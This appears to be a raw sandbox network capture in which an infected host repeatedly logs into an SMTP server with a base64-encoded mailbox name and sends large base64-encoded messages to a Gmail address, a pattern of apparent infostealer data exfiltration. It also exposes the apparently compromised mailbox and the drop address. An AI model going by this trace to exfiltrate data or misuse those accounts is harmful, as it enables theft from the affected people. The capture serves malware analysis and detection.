+FGKVwuJU9r/AK7/AIC38qhxU1sP3h/3W/lUz2E2c01MPvT36mmGuvodKE7c0hpe9IaR QlFHekpMoKSl9qQ0hhSUtJ70gD8aSlpPegaEopaSgYUn40tJ+NIA/nRRRQM6mkpaKg8I SloooAKSiigAooopAFFFFABRS0UwEooooAKKKKACiiigAopaKAEooooAKKKKQBRRRTAK KKKACiiigBKKWigBKKWigYlFLRQAlFFFABSUtFACUUtFACUdqWigBKKWkoAKKKKACiii mMSilpKACiiigAooooAKSlpKBhRRRQAUUUUAJRRRQAUUUUDCkpaKAEooooAKKKKYxKKW igBKKWkoASilpKACiiimMKSlooASilpKACiiloASiiigYlFLSUAFFFFMAooooGJRRRQA UUUUAJiilopgJRS4ooGJRS0UCEHWtO5/1x+g/lWaOtad1/rj9B/Ksp/EgW5DRRRQaBSU tFAwpKWigBKKKKACiiloASkpaKACilpKAGS/8
May 27, 2024 12:45:20.518449068 CEST	587	49732	185.5.126.24	192.168.2.7	250 OK id=1sBXqy-0008Pq-23
May 27, 2024 12:45:33.803400040 CEST	49732	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:45:35.063622952 CEST	587	49732	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:35.063838005 CEST	587	49732	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:35.064718008 CEST	587	49732	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:35.813755035 CEST	587	49733	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:35 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:35.813925028 CEST	49733	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:36.009017944 CEST	587	49733	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:36.009174109 CEST	49733	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:36.204335928 CEST	587	49733	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:36.467679024 CEST	587	49733	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:36.467840910 CEST	49733	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:36.663268089 CEST	587	49733	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:36.663422108 CEST	49733	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:36.954700947 CEST	587	49733	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:36.956454992 CEST	49733	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:37.161210060 CEST	587	49733	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:37.175784111 CEST	49733	587	192.168.2.7	185.5.126.24	392W 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 tFAwpKWigBKKKKACiiloASkpaKACilpKAGS/8
May 27, 2024 12:45:37.660535097 CEST	587	49733	185.5.126.24	192.168.2.7	250 OK id=1sBXrF-0008Rn-2U
May 27, 2024 12:45:52.486041069 CEST	49733	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:45:52.884862900 CEST	587	49733	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:53.541098118 CEST	587	49734	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:53 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:53.541301966 CEST	49734	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:53.734787941 CEST	587	49734	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:53.734997034 CEST	49734	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:53.928936005 CEST	587	49734	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:54.131046057 CEST	587	49734	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:54.131321907 CEST	49734	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:54.324920893 CEST	587	49734	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:54.328933954 CEST	49734	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:54.545144081 CEST	587	49734	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:54.545298100 CEST	49734	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:54.738729000 CEST	587	49734	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:55.240387917 CEST	587	49734	185.5.126.24	192.168.2.7	250 OK id=1sBXrX-00004r-19
May 27, 2024 12:45:55.575191975 CEST	49734	587	192.168.2.7	185.5.126.24	QUIT
May 27, 2024 12:45:55.969932079 CEST	587	49734	185.5.126.24	192.168.2.7	221 cpanel05.almazena.com closing connection
May 27, 2024 12:45:56.612075090 CEST	587	49735	185.5.126.24	192.168.2.7	220-cpanel05.almazena.com ESMTP Exim 4.96.2 #2 Mon, 27 May 2024 12:45:56 +0200 220-We do not authorize the use of this system to transport unsolicited, 220 and/or bulk e-mail.
May 27, 2024 12:45:56.612272978 CEST	49735	587	192.168.2.7	185.5.126.24	EHLO 610930
May 27, 2024 12:45:56.806600094 CEST	587	49735	185.5.126.24	192.168.2.7	250-cpanel05.almazena.com Hello 610930 [8.46.123.175] 250-SIZE 52428800 250-8BITMIME 250-PIPELINING 250-PIPECONNECT 250-AUTH PLAIN LOGIN 250-STARTTLS 250 HELP
May 27, 2024 12:45:56.806946993 CEST	49735	587	192.168.2.7	185.5.126.24	AUTH login cHJldmVuY2lvbkBkcmNvbnN0cnVjY2lvbmVzLmVz
May 27, 2024 12:45:57.002156019 CEST	587	49735	185.5.126.24	192.168.2.7	334 UGFzc3dvcmQ6
May 27, 2024 12:45:57.207413912 CEST	587	49735	185.5.126.24	192.168.2.7	235 Authentication succeeded
May 27, 2024 12:45:57.207659006 CEST	49735	587	192.168.2.7	185.5.126.24	MAIL FROM:<prevencion@drconstrucciones.es>
May 27, 2024 12:45:57.401716948 CEST	587	49735	185.5.126.24	192.168.2.7	250 OK
May 27, 2024 12:45:57.401983023 CEST	49735	587	192.168.2.7	185.5.126.24	RCPT TO:<ftejiero1966@gmail.com>
May 27, 2024 12:45:57.704673052 CEST	587	49735	185.5.126.24	192.168.2.7	250 Accepted
May 27, 2024 12:45:57.704895020 CEST	49735	587	192.168.2.7	185.5.126.24	DATA
May 27, 2024 12:45:57.900878906 CEST	587	49735	185.5.126.24	192.168.2.7	354 Enter message, ending with "." on a line by itself
May 27, 2024 12:45:57.919332027 CEST	49735	587	192.168.2.7	185.5.126.24	392W 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 tFAwpKWigBKKKKACiiloASkpaKACilpKAGS/8
May 27, 2024 12:45:57.919523954 CEST	49735	587	192.168.2.7	185.5.126.24	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 